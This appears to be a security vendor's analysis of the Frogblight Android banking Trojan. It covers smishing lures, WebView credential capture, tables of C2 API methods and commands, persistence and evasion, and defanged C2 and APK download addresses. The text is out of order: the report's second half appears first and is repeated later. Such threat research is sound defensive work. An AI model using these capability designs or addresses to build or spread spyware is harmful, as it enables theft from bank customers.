}

It is also worth noting that some commands in this version share the same meaning but have different structures, and the functionality of certain commands has not been fully implemented yet. This indicates that Frogblight was under active development at the time of our research, and since no its activity was noticed after September, it is possible that the malware is being finalized to a fully operational state before continuing to infect users’ devices. A full list of commands with their parameters and description is shown below:

Command	Description	Parameters
connect	Send a registration message to the C2	–
connection_success	Send various information, such as call logs, to the C2; start pinging the C2 and requesting commands	–
auth_error	Log info about an invalid login key to the Android log system	–
pong_device	Does nothing	–
commands_list	Execute commands	List of commands
sms_send_command	Send an arbitrary SMS message	recipient: message destination message: message text msg_id: message ID
bulk_sms_command	Send an arbitrary SMS message to multiple recipients	recipients: message destinations message: message text
get_contacts_command	Send all contacts to the C2	–
get_app_list_command	Send information about the apps installed on the device to the C2	–
get_files_command	Send information about all files in certain directories to the C2	–
get_call_logs_command	Send call logs to the C2	–
get_notifications_command	Send a notifications log to the C2. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	–
take_screenshot_command	Take a screenshot. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	–
update_device	Send registration message to the C2	–
new_webview_data	Collect WebView data. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	–
new_injection	Inject code. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	code: injected code target_app: presumably the package name of the target app
add_contact_command	Add a contact to the user device	name: contact name phone: contact phone email: contact email
contact_add	Add a contact to the user device	display_name: contact name phone_number: contact phone email: contact email
contact_delete	Delete a contact from the user device	phone_number: contact phone
contact_edit	Edit a contact on the user device	display_name: new contact name phone_number: contact phone email: new contact email
contact_list	Send all contacts to the C2	–
file_list	Send information about all files in the specified directory to the C2	path: directory path
file_download	Upload the specified file to the C2	file_path: file path download_id: an ID that is received with the command and sent back to the C2 along with the requested file. Most likely, this is used to organize data on the C2
file_thumbnail	Generate a thumbnail from the target image file and upload it to the C2	file_path: image file path
file_thumbnails	Generate thumbnails from the image files in the target directory and upload them to the C2	folder_path: directory path
health_check	Send information about the current device state: battery level, screen state, and so on	–
message_list_request	Send all SMS messages to the C2	–
notification_send	Show an arbitrary notification	title: notification title message: notification message app_name: notification subtext
package_list_response	Save the target package names	packages: a list of all target package names. Each list element contains: package_name: target package name active: whether targeting is active
delete_contact_command	Delete a contact from the user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	contact_id: contact ID name: contact name
file_upload_command	Upload specified file to the C2. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	file_path: file path file_name: file name
file_download_command	Download file to user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	file_url: the URL of the file to download download_path: download path
download_file_command	Download file to user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	file_url: the URL of the file to download download_path: downloading path
get_permissions_command	Send a registration message to the C2, including info about specific permissions	–
health_check_command	Send information about the current device state, such as battery level, screen state, and so on	–
connect_error	Log info about connection errors to the Android log system	A list of errors
reconnect	Send a registration message to the C2	–
disconnect	Stop pinging the C2 and requesting commands from it	–

Authentication via WebSocket takes place using a special key.

At the IP address to which the WebSocket connection was made, the Frogblight web panel was accessible, which accepted the authentication key mentioned above. Since only samples using the same key as the webpanel login are controllable through it, we suggest that Frogblight might be distributed under the MaaS model.

Judging by the menu options, the threat actor can sort victims’ devices by certain parameters, such as the presence of banking apps on the device, and send bulk SMS messages and perform other mass actions.

Victims

Since some versions of Frogblight opened the Turkish government webpage to collect user-entered data on Turkish banks’ websites, we assume with high confidence that it is aimed mainly at users from Turkey. Also, based on our telemetry, the majority of users attacked by Frogblight are located in that country.

Attribution

Even though it is not possible to provide an attribution to any known threat actor based on the information available, during our analysis of the Frogblight Android malware and the search for online mentions of the names it uses, we discovered a GitHub profile containing repos with Frogblight, which had also created repos with Coper malware, distributed under the MaaS model. It is possible that this profile belongs to the attackers distributing Coper who have also started distributing Frogblight.

Also, since the comments in the Frogblight code are written in Turkish, we believe that its developers speak this language.

Conclusions

The new Android malware we dubbed “Frogblight” appeared recently and targets mainly users from Turkey. This is an advanced banking Trojan aimed at stealing money. It has already infected real users’ devices, and it doesn’t stop there, adding more and more new features in the new versions that appear. It can be made more dangerous by the fact that it may be used by attackers who already have experience distributing malware. We will continue to monitor its development.

Indicators of Compromise

More indicators of compromise, as well as any updates to these, are available to the customers of our crimeware reporting service. If you are interested, please contact crimewareintel@kaspersky.com.

APK file hashes
8483037dcbf14ad8197e7b23b04aea34
105fa36e6f97977587a8298abc31282a
e1cd59ae3995309627b6ab3ae8071e80
115fbdc312edd4696d6330a62c181f35
08a3b1fb2d1abbdbdd60feb8411a12c7
d7d15e02a9cd94c8ab00c043aef55aff
9dac23203c12abd60d03e3d26d372253

C2 domains
1249124fr1241og5121.sa[.]com
froglive[.]net

C2 IPs
45.138.16.208[:]8080

URL of GitHub repository with Frogblight phishing website source code
https://github[.]com/eraykarakaya0020/e-ifade-vercel

URL of GitHub account containing APK files of Frogblight and Coper
https://github[.]com/Chromeapk

Distribution URLs
https://farketmez37[.]cfd/e-ifade.apk
https://farketmez36[.]sbs/e-ifade.apk
https://e-ifade-app-5gheb8jc.devinapps[.]com/e-ifade.apk

In August 2025, we discovered a campaign targeting individuals in Turkey with a new Android banking Trojan we dubbed “Frogblight”. Initially, the malware was disguised as an app for accessing court case files via an official government webpage. Later, more universal disguises appeared, such as the Chrome browser.

Frogblight can use official government websites as an intermediary step to steal banking credentials. Moreover, it has spyware functionality, such as capabilities to collect SMS messages, a list of installed apps on the device and device filesystem information. It can also send arbitrary SMS messages.

Another interesting characteristic of Frogblight is that we’ve seen it updated with new features throughout September. This may indicate that a feature-rich malware app for Android is being developed, which might be distributed under the MaaS model.

This threat is detected by Kaspersky products as HEUR:Trojan-Banker.AndroidOS.Frogblight.*, HEUR:Trojan-Banker.AndroidOS.Agent.eq, HEUR:Trojan-Banker.AndroidOS.Agent.ep, HEUR:Trojan-Spy.AndroidOS.SmsThief.de.

Technical details

Background

While performing an analysis of mobile malware we receive from various sources, we discovered several samples belonging to a new malware family. Although these samples appeared to be still under development, they already contained a lot of functionality that allowed this family to be classified as a banking Trojan. As new versions of this malware continued to appear, we began monitoring its development. Moreover, we managed to discover its control panel and based on the “fr0g” name shown there, we dubbed this family “Frogblight”.

Initial infection

We believe that smishing is one of the distribution vectors for Frogblight, and that the users had to install the malware themselves. On the internet, we found complaints from Turkish users about phishing SMS messages convincing users that they were involved in a court case and containing links to download malware. versions of Frogblight, including the very first ones, were disguised as an app for accessing court case files via an official government webpage and were named the same as the files for downloading from the links mentioned above.

While looking for online mentions of the names used by the malware, we discovered one of the phishing websites distributing Frogblight, which disguises itself as a website for viewing a court file.

We were able to open the admin panel of this website, where it was possible to view statistics on Frogblight malware downloads. However, the counter had not been fully implemented and the threat actor could only view the statistics for their own downloads.

Additionally, we found the source code of this phishing website available in a public GitHub repository. Judging by its description, it is adapted for fast deployment to Vercel, a platform for hosting web apps.

App features

As already mentioned, Frogblight was initially disguised as an app for accessing court case files via an official government webpage. Let’s look at one of the samples using this disguise (9dac23203c12abd60d03e3d26d372253). For analysis, we selected an early sample, but not the first one discovered, in order to demonstrate more complete Frogblight functionality.

After starting, the app prompts the victim to grant permissions to send and read SMS messages, and to read from and write to the device’s storage, allegedly needed to show a court file related to the user.

The full list of declared permissions in the app manifest file is shown below:

• MANAGE_EXTERNAL_STORAGE
• READ_EXTERNAL_STORAGE
• WRITE_EXTERNAL_STORAGE
• READ_SMS
• RECEIVE_SMS
• SEND_SMS
• WRITE_SMS
• RECEIVE_BOOT_COMPLETED
• INTERNET
• QUERY_ALL_PACKAGES
• BIND_ACCESSIBILITY_SERVICE
• DISABLE_KEYGUARD
• FOREGROUND_SERVICE
• FOREGROUND_SERVICE_DATA_SYNC
• POST_NOTIFICATIONS
• QUICKBOOT_POWERON
• RECEIVE_MMS
• RECEIVE_WAP_PUSH
• REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
• SCHEDULE_EXACT_ALARM
• USE_EXACT_ALARM
• VIBRATE
• WAKE_LOCK
• ACCESS_NETWORK_STATE
• READ_PHONE_STATE

After all required permissions are granted, the malware opens the official government webpage for accessing court case files in WebView, prompting the victim to sign in. There are different sign-in options, one of them via online banking. If the user chooses this method, they are prompted to click on a bank whose online banking app they use and fill out the sign-in form on the bank’s official website. This is what Frogblight is after, so it waits two seconds, then opens the online banking sign-in method regardless of the user’s choice. For each webpage that has finished loading in WebView, Frogblight injects JavaScript code allowing it to capture user input and send it to the C2 via a REST API.

The malware also changes its label to “Davalarım” if the Android version is newer than 12; otherwise it hides the icon.

The app icon before (left) and after launching (right)
In the sample we review in this section, Frogblight uses a REST API for C2 communication, implemented using the Retrofit library. The malicious app pings the C2 server every two seconds in foreground, and if no error is returned, it calls the REST API client methods fetchOutbox and getFileCommands. Other methods are called when specific events occur, for example, after the device screen is turned on, the com.capcuttup.refresh.PersistentService foreground service is launched, or an SMS is received. The full list of all REST API client methods with parameters and descriptions is shown below.

REST API client method	Description	Parameters
fetchOutbox	Request message content to be sent via SMS or displayed in a notification	device_id: unique Android device ID
ackOutbox	Send the results of processing a message received after calling the API method fetchOutbox	device_id: unique Android device ID msg_id: message ID status: message processing status error: message processing error
getAllPackages	Request the names of app packages whose launch should open a website in WebView to capture user input data	action: same as the API method name
getPackageUrl	Request the website URL that will be opened in WebView when the app with the specified package name is launched	action: same as the API method name package: the package name of the target app
getFileCommands	Request commands for file operations Available commands: ●       download: upload the target file to the C2 ●       generate_thumbnails: generate thumbnails from the image files in the target directory and upload them to the C2 ●       list: send information about all files in the target directory to the C2 ●       thumbnail: generate a thumbnail from the target image file and upload it to the C2	device_id: unique Android device ID
pingDevice	Check the C2 connection	device_id: unique Android device ID
reportHijackSuccess	Send captured user input data from the website opened in a WebView when the app with the specified package name is launched	action: same as the API method name package: the package name of the target app data: captured user input data
saveAppList	Send information about the apps installed on the device	device_id: unique Android device ID app_list: a list of apps installed on the device app_count: a count of apps installed on the device
saveInjection	Send captured user input data from the website opened in a WebView. If it was not opened following the launch of the target app, the app_name parameter is determined based on the opened URL	device_id: unique Android device ID app_name: the package name of the target app form_data: captured user input data
savePermission	Unused but presumably needed for sending information about permissions	device_id: unique Android device ID permission_type: permission type status: permission status
sendSms	Send information about an SMS message from the device	device_id: unique Android device ID sender: the sender’s/recipient’s phone number message: message text timestamp: received/sent time type: message type (inbox/sent)
sendTelegramMessage	Send captured user input data from the webpages opened by Frogblight in WebView	device_id: unique Android device ID url: website URL title: website page title input_type: the type of user input data input_value: user input data final_value: user input data with additional information timestamp: the time of data capture ip_address: user IP address sms_permission: whether SMS permission is granted file_manager_permission: whether file access permission is granted
updateDevice	Send information about the device	device_id: unique Android device ID model: device manufacturer and model android_version: Android version phone_number: user phone number battery: current battery level charging: device charging status screen_status: screen on/off ip_address: user IP address sms_permission: whether SMS permission is granted file_manager_permission: whether file access permission is granted
updatePermissionStatus	Send information about permissions	device_id: unique Android device ID permission_type: permission type status: permission status timestamp: current time
uploadBatchThumbnails	Upload thumbnails to the C2	device_id: unique Android device ID thumbnails: thumbnails
uploadFile	Upload a file to the C2	device_id: unique Android device ID file_path: file path download_id: the file ID on the C2 The file itself is sent as an unnamed parameter
uploadFileList	Send information about all files in the target directory	device_id: unique Android device ID path: directory path file_list: information about the files in the target directory
uploadFileListLog	Send information about all files in the target directory to an endpoint different from uploadFileList	device_id: unique Android device ID path: directory path file_list: information about the files in the target directory
uploadThumbnailLog	Unused but presumably needed for uploading thumbnails to an endpoint different from uploadBatchThumbnails	device_id: unique Android device ID thumbnails: thumbnails

Remote device control, persistence, and protection against deletion

The app includes several classes to provide the threat actor with remote access to the infected device, gain persistence, and protect the malicious app from being deleted.

• capcuttup.refresh.AccessibilityAutoClickService
  This is intended to prevent removal of the app and to open websites specified by the threat actor in WebView upon target apps startup. It is present in the sample we review, but is no longer in use and deleted in further versions.
• capcuttup.refresh.PersistentService
  This is a service whose main purpose is to interact with the C2 and to make malicious tasks persistent.
• capcuttup.refresh.BootReceiver
  This is a broadcast receiver responsible for setting up the persistence mechanisms, such as job scheduling and setting alarms, after device boot completion.

Further development

In later versions, new functionality was added, and some of the more recent Frogblight variants disguised themselves as the Chrome browser. Let’s look at one of the fake Chrome samples (d7d15e02a9cd94c8ab00c043aef55aff).

In this sample, new REST API client methods have been added for interacting with the C2.

REST API client method	Description	Parameters
getContactCommands	Get commands to perform actions with contacts Available commands: ●       ADD_CONTACT: add a contact to the user device ●       DELETE_CONTACT: delete a contact from the user device ●       EDIT_CONTACT: edit a contact on the user device	device_id: unique Android device ID
sendCallLogs	Send call logs to the C2	device_id: unique Android device ID call_logs: call log data
sendNotificationLogs	Send notifications log to the C2. Not fully implemented in this sample, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this API method	action: same as the API method name notifications: notification log data

Also, the threat actor had implemented a custom input method for recording keystrokes to a file using the com.puzzlesnap.quickgame.CustomKeyboardService service.

Another Frogblight sample we observed trying to avoid emulators and using geofencing techniques is 115fbdc312edd4696d6330a62c181f35. In this sample, Frogblight checks the environment (for example, device model) and shuts down if it detects an emulator or if the device is located in the United States.

Later on, the threat actor decided to start using a web socket instead of the REST API. Let’s see an example of this in one of the recent samples (08a3b1fb2d1abbdbdd60feb8411a12c7). This sample is disguised as an app for receiving social support via an official government webpage. The feature set of this sample is very similar to the previous ones, with several new capabilities added. Commands are transmitted over a web socket using the JSON format. A command template is shown below:

{
    "id": <command ID>,
    "command_type": <command name>
    "command_data": <command data>
}

It is also worth noting that some commands in this version share the same meaning but have different structures, and the functionality of certain commands has not been fully implemented yet. This indicates that Frogblight was under active development at the time of our research, and since no its activity was noticed after September, it is possible that the malware is being finalized to a fully operational state before continuing to infect users’ devices. A full list of commands with their parameters and description is shown below:

Command	Description	Parameters
connect	Send a registration message to the C2	–
connection_success	Send various information, such as call logs, to the C2; start pinging the C2 and requesting commands	–
auth_error	Log info about an invalid login key to the Android log system	–
pong_device	Does nothing	–
commands_list	Execute commands	List of commands
sms_send_command	Send an arbitrary SMS message	recipient: message destination message: message text msg_id: message ID
bulk_sms_command	Send an arbitrary SMS message to multiple recipients	recipients: message destinations message: message text
get_contacts_command	Send all contacts to the C2	–
get_app_list_command	Send information about the apps installed on the device to the C2	–
get_files_command	Send information about all files in certain directories to the C2	–
get_call_logs_command	Send call logs to the C2	–
get_notifications_command	Send a notifications log to the C2. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	–
take_screenshot_command	Take a screenshot. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	–
update_device	Send registration message to the C2	–
new_webview_data	Collect WebView data. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	–
new_injection	Inject code. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	code: injected code target_app: presumably the package name of the target app
add_contact_command	Add a contact to the user device	name: contact name phone: contact phone email: contact email
contact_add	Add a contact to the user device	display_name: contact name phone_number: contact phone email: contact email
contact_delete	Delete a contact from the user device	phone_number: contact phone
contact_edit	Edit a contact on the user device	display_name: new contact name phone_number: contact phone email: new contact email
contact_list	Send all contacts to the C2	–
file_list	Send information about all files in the specified directory to the C2	path: directory path
file_download	Upload the specified file to the C2	file_path: file path download_id: an ID that is received with the command and sent back to the C2 along with the requested file. Most likely, this is used to organize data on the C2
file_thumbnail	Generate a thumbnail from the target image file and upload it to the C2	file_path: image file path
file_thumbnails	Generate thumbnails from the image files in the target directory and upload them to the C2	folder_path: directory path
health_check	Send information about the current device state: battery level, screen state, and so on	–
message_list_request	Send all SMS messages to the C2	–
notification_send	Show an arbitrary notification	title: notification title message: notification message app_name: notification subtext
package_list_response	Save the target package names	packages: a list of all target package names. Each list element contains: package_name: target package name active: whether targeting is active
delete_contact_command	Delete a contact from the user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	contact_id: contact ID name: contact name
file_upload_command	Upload specified file to the C2. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	file_path: file path file_name: file name
file_download_command	Download file to user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	file_url: the URL of the file to download download_path: download path
download_file_command	Download file to user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	file_url: the URL of the file to download download_path: downloading path
get_permissions_command	Send a registration message to the C2, including info about specific permissions	–
health_check_command	Send information about the current device state, such as battery level, screen state, and so on	–
connect_error	Log info about connection errors to the Android log system	A list of errors
reconnect	Send a registration message to the C2	–
disconnect	Stop pinging the C2 and requesting commands from it	–

Authentication via WebSocket takes place using a special key.

At the IP address to which the WebSocket connection was made, the Frogblight web panel was accessible, which accepted the authentication key mentioned above. Since only samples using the same key as the webpanel login are controllable through it, we suggest that Frogblight might be distributed under the MaaS model.

Judging by the menu options, the threat actor can sort victims’ devices by certain parameters, such as the presence of banking apps on the device, and send bulk SMS messages and perform other mass actions.

Victims

Since some versions of Frogblight opened the Turkish government webpage to collect user-entered data on Turkish banks’ websites, we assume with high confidence that it is aimed mainly at users from Turkey. Also, based on our telemetry, the majority of users attacked by Frogblight are located in that country.

Attribution

Even though it is not possible to provide an attribution to any known threat actor based on the information available, during our analysis of the Frogblight Android malware and the search for online mentions of the names it uses, we discovered a GitHub profile containing repos with Frogblight, which had also created repos with Coper malware, distributed under the MaaS model. It is possible that this profile belongs to the attackers distributing Coper who have also started distributing Frogblight.

Also, since the comments in the Frogblight code are written in Turkish, we believe that its developers speak this language.

Conclusions

The new Android malware we dubbed “Frogblight” appeared recently and targets mainly users from Turkey. This is an advanced banking Trojan aimed at stealing money. It has already infected real users’ devices, and it doesn’t stop there, adding more and more new features in the new versions that appear. It can be made more dangerous by the fact that it may be used by attackers who already have experience distributing malware. We will continue to monitor its development.

Indicators of Compromise

More indicators of compromise, as well as any updates to these, are available to the customers of our crimeware reporting service. If you are interested, please contact crimewareintel@kaspersky.com.

APK file hashes
8483037dcbf14ad8197e7b23b04aea34
105fa36e6f97977587a8298abc31282a
e1cd59ae3995309627b6ab3ae8071e80
115fbdc312edd4696d6330a62c181f35
08a3b1fb2d1abbdbdd60feb8411a12c7
d7d15e02a9cd94c8ab00c043aef55aff
9dac23203c12abd60d03e3d26d372253

C2 domains
1249124fr1241og5121.sa[.]com
froglive[.]net

C2 IPs
45.138.16.208[:]8080

URL of GitHub repository with Frogblight phishing website source code
https://github[.]com/eraykarakaya0020/e-ifade-vercel

URL of GitHub account containing APK files of Frogblight and Coper
https://github[.]com/Chromeapk

Distribution URLs
https://farketmez37[.]cfd/e-ifade.apk
https://farketmez36[.]sbs/e-ifade.apk
https://e-ifade-app-5gheb8jc.devinapps[.]com/e-ifade.apk